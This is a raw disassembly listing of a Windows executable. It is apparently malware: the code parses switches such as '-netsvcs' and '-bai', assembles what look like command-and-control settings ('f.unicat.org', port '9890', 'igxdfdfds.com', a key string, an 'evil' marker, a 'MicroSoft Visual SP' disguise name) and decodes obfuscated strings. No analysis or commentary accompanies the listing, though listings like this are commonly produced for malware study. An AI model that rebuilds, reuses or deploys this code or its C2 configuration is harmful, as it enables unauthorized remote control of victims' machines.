___:00406DD4j xor eax, eax jmp short loc_406DF3 ; --------------------------------------------------------------------------- loc_406DEE: ; CODE XREF: ___:00406DD0j ; ___:00406DDEj sbb eax, eax sbb eax, 0FFFFFFFFh loc_406DF3: ; CODE XREF: ___:00406DECj test eax, eax jnz short loc_406E00 mov byte ptr [ebx+9], 1 jmp loc_406F58 ; --------------------------------------------------------------------------- loc_406E00: ; CODE XREF: ___:00406DF5j mov esi, offset aNetsvcs ; "-netsvcs" mov eax, edi loc_406E07: ; CODE XREF: ___:00406E25j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406E2B test cl, cl jz short loc_406E27 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406E2B add eax, 2 add esi, 2 test cl, cl jnz short loc_406E07 loc_406E27: ; CODE XREF: ___:00406E11j xor eax, eax jmp short loc_406E30 ; --------------------------------------------------------------------------- loc_406E2B: ; CODE XREF: ___:00406E0Dj ; ___:00406E1Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_406E30: ; CODE XREF: ___:00406E29j test eax, eax jnz short loc_406E3D mov byte ptr [ebx+0Ah], 1 jmp loc_406F58 ; --------------------------------------------------------------------------- loc_406E3D: ; CODE XREF: ___:00406E32j mov esi, offset aBai ; "-bai" mov eax, edi loc_406E44: ; CODE XREF: ___:00406E62j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406E68 test cl, cl jz short loc_406E64 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406E68 add eax, 2 add esi, 2 test cl, cl jnz short loc_406E44 loc_406E64: ; CODE XREF: ___:00406E4Ej xor eax, eax jmp short loc_406E6D ; --------------------------------------------------------------------------- loc_406E68: ; CODE XREF: ___:00406E4Aj ; ___:00406E58j sbb eax, eax sbb eax, 0FFFFFFFFh loc_406E6D: ; CODE XREF: ___:00406E66j test eax, eax jnz loc_406F58 lea ecx, [esp+10h] call sub_40142E mov eax, [esp+468h] push offset aBai ; "-bai" push eax mov dword ptr [esp+468h], 0 nop call near ptr 77C47C60h add esp, 8 test eax, eax jz loc_406F44 push eax lea ecx, [esp+14h] call sub_4015E1 push 1 push offset asc_444600 ; " " lea ecx, [esp+30h] push 1 push ecx lea ecx, [esp+20h] call sub_4011EA push offset byte_448F30 mov ecx, eax mov byte ptr [esp+464h], 1 call sub_4012EE lea ecx, [esp+28h] mov esi, eax mov byte ptr [esp+460h], 0 call sub_401226 test esi, esi jz short loc_406F44 push 1 push offset asc_444600 ; " " lea edx, [esp+48h] push 1 push edx lea ecx, [esp+20h] mov byte ptr [ebx+0Bh], 1 call sub_4011EA push 104h mov ecx, eax mov byte ptr [esp+464h], 2 call sub_40168B push eax lea eax, [ebx+0Ch] push eax nop call near ptr 77C47A90h add esp, 0Ch lea ecx, [esp+40h] mov byte ptr [esp+460h], 0 call sub_401226 add ebp, 4 loc_406F44: ; CODE XREF: ___:00406EA1j ; ___:00406EF1j lea ecx, [esp+10h] mov dword ptr [esp+460h], 0FFFFFFFFh call sub_401226 loc_406F58: ; CODE XREF: ___:00406DBDj ; ___:00406DFBj ... mov eax, [ebp+4] add ebp, 4 test eax, eax jnz loc_406D88 xor ecx, ecx loc_406F68: ; CODE XREF: ___:00406D7Ej mov al, [ebx+4] pop edi pop esi pop ebp test al, al jnz short loc_406F75 mov [ebx+5], ecx loc_406F75: ; CODE XREF: ___:00406F70j cmp [ebx+5], ecx jnz short loc_406F85 test al, al jz short loc_406F85 mov dword ptr [ebx+5], 0Ah loc_406F85: ; CODE XREF: ___:00406F78j ; ___:00406F7Cj mov [ebx+5], ecx mov ecx, [esp+44Ch] mov byte ptr [ebx+4], 0 pop ebx mov large fs:0, ecx add esp, 454h retn 4 ; --------------------------------------------------------------------------- db 0Ch dup(90h) byte_406FB0 db 0D0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407080 proc near ; CODE XREF: sub_4020BDj var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_407080 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea eax, [esp+18h+var_11] lea ecx, [esi+32h] push eax mov [esp+1Ch+var_4], 0 call sub_40156E sub_407080 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov dword ptr [esi], offset off_43F00C mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407100 proc near ; CODE XREF: sub_40159Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] call sub_4015E1 mov edx, [esp+4+arg_0] mov ecx, [esp+4+arg_8] lea eax, [esp+4+arg_0] mov [edx+2Ah], ecx push eax lea ecx, [esi+32h] call sub_4014EC sub_407100 endp ; --------------------------------------------------------------------------- pop esi retn 0Ch ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407140 proc near ; CODE XREF: sub_401B04j var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 push esi mov esi, ecx push edi lea ecx, [esp+10h+var_8] call sub_401AD7 add esi, 32h lea eax, [esp+10h+var_4] push eax mov ecx, esi call sub_40162C mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_4021DF push eax lea ecx, [esp+14h+var_8] call sub_40184D test al, al jz short loc_4071BB mov edi, [esp+10h+arg_0] loc_407183: ; CODE XREF: sub_407140+79j push edi lea ecx, [esp+14h+var_8] call sub_401749 mov ecx, [eax] call sub_4012EE test eax, eax lea ecx, [esp+10h+var_8] jz short loc_4071C5 call sub_401F28 lea eax, [esp+10h+var_4] mov ecx, esi push eax call sub_4021DF push eax lea ecx, [esp+14h+var_8] call sub_40184D test al, al jnz short loc_407183 loc_4071BB: ; CODE XREF: sub_407140+3Dj pop edi xor eax, eax pop esi add esp, 8 retn 8 ; --------------------------------------------------------------------------- loc_4071C5: ; CODE XREF: sub_407140+5Aj call sub_401749 mov eax, [eax] pop edi pop esi add esp, 8 retn 8 sub_407140 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407210 proc near ; CODE XREF: sub_40221Bj xor al, al retn 4 sub_407210 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407230 proc near ; CODE XREF: sub_40156Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_40119F sub_407230 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407270 proc near ; CODE XREF: sub_40162Cj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_401A96 mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_4021A8 mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_407270 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4072B0 proc near ; CODE XREF: sub_4021DFj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_4021A8 mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_4072B0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4072E0 proc near ; CODE XREF: sub_4014ECj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_4021DF mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4013B6 sub_4072E0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407320 proc near ; CODE XREF: sub_401AD7j push esi mov esi, ecx call sub_401B77 mov eax, esi pop esi retn sub_407320 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407340 proc near ; CODE XREF: sub_401749j mov eax, [ecx] push eax call sub_401208 add esp, 4 retn sub_407340 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407360 proc near ; CODE XREF: sub_401F28j push esi mov esi, ecx mov eax, [esi] push eax call sub_401A96 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_407360 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407390 proc near ; CODE XREF: sub_40184Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401FBE neg al sbb eax, eax inc eax retn 4 sub_407390 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4073C0 proc near ; CODE XREF: sub_4013B6j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401C9E mov edi, eax push edi call sub_401C6C mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_40119F sub_4073C0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401C6C push edi mov [eax], ebx call sub_401C6C mov edi, [eax] push edi call sub_401C6C mov ecx, [eax] push ecx call sub_401A96 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401208 add esp, 4 mov ecx, esi push eax call sub_40167C mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_4021A8 mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407460 proc near ; CODE XREF: sub_40119Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4019D8 sub_407460 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_407475 mov edi, esi loc_407475: ; CODE XREF: ___:00407471j push esi call sub_401A96 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_40748A mov edi, esi loc_40748A: ; CODE XREF: ___:00407486j push esi call sub_401C6C add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074B0 proc near ; CODE XREF: sub_401A96j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_4074B0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074D0 proc near ; CODE XREF: sub_401208j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_4074D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074F0 proc near ; CODE XREF: sub_401B77j mov eax, ecx retn sub_4074F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407510 proc near ; CODE XREF: sub_4021A8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4011E5 mov eax, esi pop esi retn 4 sub_407510 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407540 proc near ; CODE XREF: sub_401FBEj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_407540 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407570 proc near ; CODE XREF: sub_401C6Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_407570 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407590 proc near ; CODE XREF: sub_4019D8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_407590 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4075C0 proc near ; CODE XREF: sub_40167Cj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40109B add esp, 8 retn 8 sub_4075C0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4075F0 proc near ; CODE XREF: sub_4011E5j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4075F0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407610 proc near ; CODE XREF: sub_401C9Ej mov eax, [ecx] retn sub_407610 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407630 proc near ; CODE XREF: sub_401D2Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_40763A xor eax, eax loc_40763A: ; CODE XREF: sub_407630+6j push eax call sub_437AEA sub_407630 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407660 proc near ; CODE XREF: sub_40109Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40767B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40767B: ; CODE XREF: sub_407660+11j retn sub_407660 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407690 proc near ; CODE XREF: sub_4011CCj arg_4 = dword ptr 8 mov eax, [esp+arg_4] retn sub_407690 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4076B0 proc near ; CODE XREF: sub_401B40j var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_4076B0 push eax mov large fs:0, esp push 0 push 0 push 0 push 0 lea ecx, [esp+1Ch+arg_4] mov [esp+1Ch+var_4], 0 call sub_4017EE push eax mov eax, [esp+20h+arg_0] push 0 push eax mov ecx, offset word_44ACD6 call sub_401B72 sub_4076B0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov dword ptr [esp+8], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0] mov large fs:0, ecx add esp, 0Ch retn 1Ch ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407740 proc near ; CODE XREF: sub_401CD5j var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_1C = byte ptr 20h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_407740 push eax mov large fs:0, esp push 0 push 0 push 0 push 0 lea ecx, [esp+1Ch+arg_1C] mov [esp+1Ch+var_4], 1 call sub_4017EE push eax lea ecx, [esp+20h+arg_4] call sub_4017EE push eax mov eax, [esp+24h+arg_0] push eax mov ecx, offset word_44ACD6 call sub_401B72 sub_407740 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov byte ptr [esp+8], 0 call sub_401226 lea ecx, [esp+2Ch] mov dword ptr [esp+8], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0] mov large fs:0, ecx add esp, 0Ch retn 34h ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4077E0 proc near ; CODE XREF: sub_40121Cj var_350 = dword ptr -350h var_34C = dword ptr -34Ch var_348 = byte ptr -348h var_330 = byte ptr -330h var_318 = byte ptr -318h var_2F4 = byte ptr -2F4h var_2DC = byte ptr -2DCh var_2C4 = byte ptr -2C4h var_2AC = byte ptr -2ACh var_294 = byte ptr -294h var_27C = byte ptr -27Ch var_264 = byte ptr -264h var_24C = byte ptr -24Ch var_234 = byte ptr -234h var_21C = byte ptr -21Ch var_204 = byte ptr -204h var_1EC = byte ptr -1ECh var_1D4 = byte ptr -1D4h var_1BC = byte ptr -1BCh var_1A4 = byte ptr -1A4h var_18C = byte ptr -18Ch var_174 = byte ptr -174h var_15C = byte ptr -15Ch var_144 = byte ptr -144h var_114 = byte ptr -114h var_E4 = byte ptr -0E4h var_CC = byte ptr -0CCh var_B4 = byte ptr -0B4h var_9C = byte ptr -9Ch var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4077E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 344h push ebx push esi mov esi, ecx push edi lea ecx, [esp+35Ch+var_2C4] call sub_40142E lea ecx, [esp+35Ch+var_2DC] mov [esp+35Ch+var_4], 0 call sub_40142E lea ecx, [esp+35Ch+var_174] mov byte ptr [esp+35Ch+var_4], 1 call sub_40142E lea ecx, [esp+35Ch+var_1A4] mov byte ptr [esp+35Ch+var_4], 2 call sub_40142E lea ecx, [esp+35Ch+var_2AC] mov byte ptr [esp+35Ch+var_4], 3 call sub_40142E lea ecx, [esp+35Ch+var_2F4] mov byte ptr [esp+35Ch+var_4], 4 call sub_40142E lea ecx, [esp+35Ch+var_1D4] mov byte ptr [esp+35Ch+var_4], 5 call sub_40142E lea ecx, [esp+35Ch+var_204] mov byte ptr [esp+35Ch+var_4], 6 call sub_40142E lea ecx, [esp+35Ch+var_294] mov byte ptr [esp+35Ch+var_4], 7 call sub_40142E lea ecx, [esp+35Ch+var_24] mov byte ptr [esp+35Ch+var_4], 8 call sub_40142E lea ecx, [esp+35Ch+var_54] mov byte ptr [esp+35Ch+var_4], 9 call sub_40142E lea ecx, [esp+35Ch+var_84] mov byte ptr [esp+35Ch+var_4], 0Ah call sub_40142E lea ecx, [esp+35Ch+var_3C] mov byte ptr [esp+35Ch+var_4], 0Bh call sub_40142E lea ecx, [esp+35Ch+var_6C] mov byte ptr [esp+35Ch+var_4], 0Ch call sub_40142E lea ecx, [esp+35Ch+var_234] mov byte ptr [esp+35Ch+var_4], 0Dh call sub_40142E lea ecx, [esp+35Ch+var_264] mov byte ptr [esp+35Ch+var_4], 0Eh call sub_40142E lea ecx, [esp+35Ch+var_E4] mov byte ptr [esp+35Ch+var_4], 0Fh call sub_40142E lea ecx, [esp+35Ch+var_15C] mov byte ptr [esp+35Ch+var_4], 10h call sub_40142E lea ecx, [esp+35Ch+var_114] mov byte ptr [esp+35Ch+var_4], 11h call sub_40142E mov byte ptr [esp+35Ch+var_4], 12h lea ecx, [esp+35Ch+var_18C] call sub_40142E lea ecx, [esp+35Ch+var_144] mov byte ptr [esp+35Ch+var_4], 13h call sub_40142E lea ecx, [esp+35Ch+var_1BC] mov byte ptr [esp+35Ch+var_4], 14h call sub_40142E lea ecx, [esp+35Ch+var_27C] mov byte ptr [esp+35Ch+var_4], 15h call sub_40142E lea ecx, [esp+35Ch+var_1EC] mov byte ptr [esp+35Ch+var_4], 16h call sub_40142E lea ecx, [esp+35Ch+var_CC] mov byte ptr [esp+35Ch+var_4], 17h call sub_40142E lea ecx, [esp+35Ch+var_21C] mov byte ptr [esp+35Ch+var_4], 18h call sub_40142E lea ecx, [esp+35Ch+var_B4] mov byte ptr [esp+35Ch+var_4], 19h call sub_40142E lea ecx, [esp+35Ch+var_9C] mov byte ptr [esp+35Ch+var_4], 1Ah call sub_40142E lea ecx, [esp+35Ch+var_24C] mov byte ptr [esp+35Ch+var_4], 1Bh call sub_40142E lea ecx, [esp+35Ch+var_330] mov byte ptr [esp+35Ch+var_4], 1Ch call sub_40142E lea ecx, [esp+35Ch+var_318] mov byte ptr [esp+35Ch+var_4], 1Dh call sub_40142E mov ebx, 1Eh push offset aF_unicat_org ; "f.unicat.org" lea ecx, [esp+360h+var_2C4] mov byte ptr [esp+360h+var_4], bl call sub_401A9B push offset a9890 ; "9890" lea ecx, [esp+360h+var_2DC] call sub_401A9B push offset byte_448F30 lea ecx, [esp+360h+var_144] call sub_401A9B lea eax, [esp+35Ch+var_2C4] lea ecx, [esp+35Ch+var_174] push eax call sub_40202C lea ecx, [esp+35Ch+var_2DC] push ecx lea ecx, [esp+360h+var_1A4] call sub_40202C push offset byte_448F30 lea ecx, [esp+360h+var_1BC] call sub_401A9B push offset dword_44486C lea ecx, [esp+360h+var_2AC] call sub_401A9B push offset off_444868 lea ecx, [esp+360h+var_24C] call sub_401A9B push offset aXkey ; "Xkey" lea ecx, [esp+360h+var_2F4] call sub_401A9B push offset aIgxdfdfds_com ; "igxdfdfds.com" lea ecx, [esp+360h+var_1D4] call sub_401A9B push offset aAydassklfsdsew ; "aydassklfsdsewrlkwel" lea ecx, [esp+360h+var_204] call sub_401A9B push offset asc_444830 ; "X-" lea ecx, [esp+360h+var_294] call sub_401A9B push offset aSet ; "set" lea ecx, [esp+360h+var_234] call sub_401A9B push 0 push 4Ah push 20h push 48h push 1Ch push 4Bh push 46h push 4Ah push 46h push 47h push 4Ch push 1Fh push 48h push 1Fh push ebx push 1Bh push 1Dh push 47h push 4Bh push 47h push ebx push 45h push 46h push 4Ah push 48h push ebx push 1Dh push 1Ch push 4Ah push 20h push 4Ch push 4Dh lea edx, [esp+3DCh+var_348] push 44h push edx call sub_4019C4 add esp, 88h push eax lea ecx, [esp+360h+var_264] mov byte ptr [esp+360h+var_4], 1Fh call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push offset aFeeling_nasty ; "feeling.nasty" lea ecx, [esp+360h+var_E4] call sub_401A9B push offset aEvil ; "evil" lea ecx, [esp+360h+var_15C] call sub_401A9B push offset aMicrosoftVisua ; "MicroSoft Visual SP" lea ecx, [esp+360h+var_114] call sub_401A9B push offset dword_4447F8 lea ecx, [esp+360h+var_27C] call sub_401A9B push 0 push 4Bh push 48h push 4Ah push 47h push 4Ch push 48h push 4Bh push 48h push 45h lea eax, [esp+384h+var_348] push 46h push eax call sub_4019C4 add esp, 30h push eax lea ecx, [esp+360h+var_18C] mov byte ptr [esp+360h+var_4], 20h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 0Dh push 0Fh push 3 push 4Fh push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 0Dh push 1 push 4 push 13h push 1 lea ecx, [esp+3A4h+var_348] push 4 push ecx call sub_4019C4 add esp, 50h push eax lea ecx, [esp+360h+var_1EC] mov byte ptr [esp+360h+var_4], 21h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea edx, [esp+36Ch+var_348] push 45h push edx call sub_4019C4 add esp, 18h push eax lea ecx, [esp+360h+var_CC] mov byte ptr [esp+360h+var_4], 22h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea eax, [esp+36Ch+var_348] push 45h push eax call sub_4019C4 add esp, 18h push eax lea ecx, [esp+360h+var_B4] mov byte ptr [esp+360h+var_4], 23h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 44h push 49h lea ecx, [esp+368h+var_348] push 46h push ecx call sub_4019C4 add esp, 14h push eax lea ecx, [esp+360h+var_21C] mov byte ptr [esp+360h+var_4], 24h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea edx, [esp+36Ch+var_348] push 45h push edx call sub_4019C4 add esp, 18h push eax lea ecx, [esp+360h+var_9C] mov byte ptr [esp+360h+var_4], 25h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 5 push 15h push 12h lea eax, [esp+36Ch+var_348] push 14h push eax call sub_4019C4 add esp, 18h push eax lea ecx, [esp+360h+var_330] mov byte ptr [esp+360h+var_4], 26h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 5 push 13h push 0Ch push 1 lea ecx, [esp+370h+var_348] push 6 push ecx call sub_4019C4 add esp, 1Ch push eax lea ecx, [esp+360h+var_318] mov byte ptr [esp+360h+var_4], 27h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 lea ecx, [esp+35Ch+var_2F4] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+374h+var_34C], esp push eax call sub_401870 push 0 push 13h push 13h push 1 push 10h push 0Eh push 1 push 8 push 3 push 4Eh push 14h push 0Fh mov byte ptr [esp+3A4h+var_4], 28h push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+3D0h+var_348] push 13h push edx call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+374h+var_4], 29h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+38Ch+var_350], esp push eax call sub_401870 lea eax, [esi+0FECh] mov ecx, esi push eax mov byte ptr [esp+390h+var_4], 2Ah call sub_401CD5 sub_4077E0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+0B0h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 0Eh push 1 push 8 push 3 push 0Eh push 9 push 1 push 0Dh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+88h] push 13h push ecx mov byte ptr [esp+3D4h], 2Bh call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 2Ch call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 mov byte ptr [esp+388h], 2Dh lea edx, [esi+1035h] mov ecx, esi push edx call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+80h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 14h push 12h push 0Fh push 10h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+78h] push 13h push eax mov byte ptr [esp+3C4h], 2Eh call sub_4019C4 add esp, 54h mov ecx, eax mov byte ptr [esp+370h], 2Fh call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea ecx, [esi+0FA3h] mov byte ptr [esp+388h], 30h push ecx mov ecx, esi call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+98h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 12h push 5 push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh mov byte ptr [esp+3A4h], 31h push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+80h] push 13h push edx call sub_4019C4 add esp, 5Ch mov ecx, eax mov byte ptr [esp+370h], 32h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea eax, [esi+0F5Ah] mov ecx, esi push eax mov byte ptr [esp+38Ch], 33h call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+0C8h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 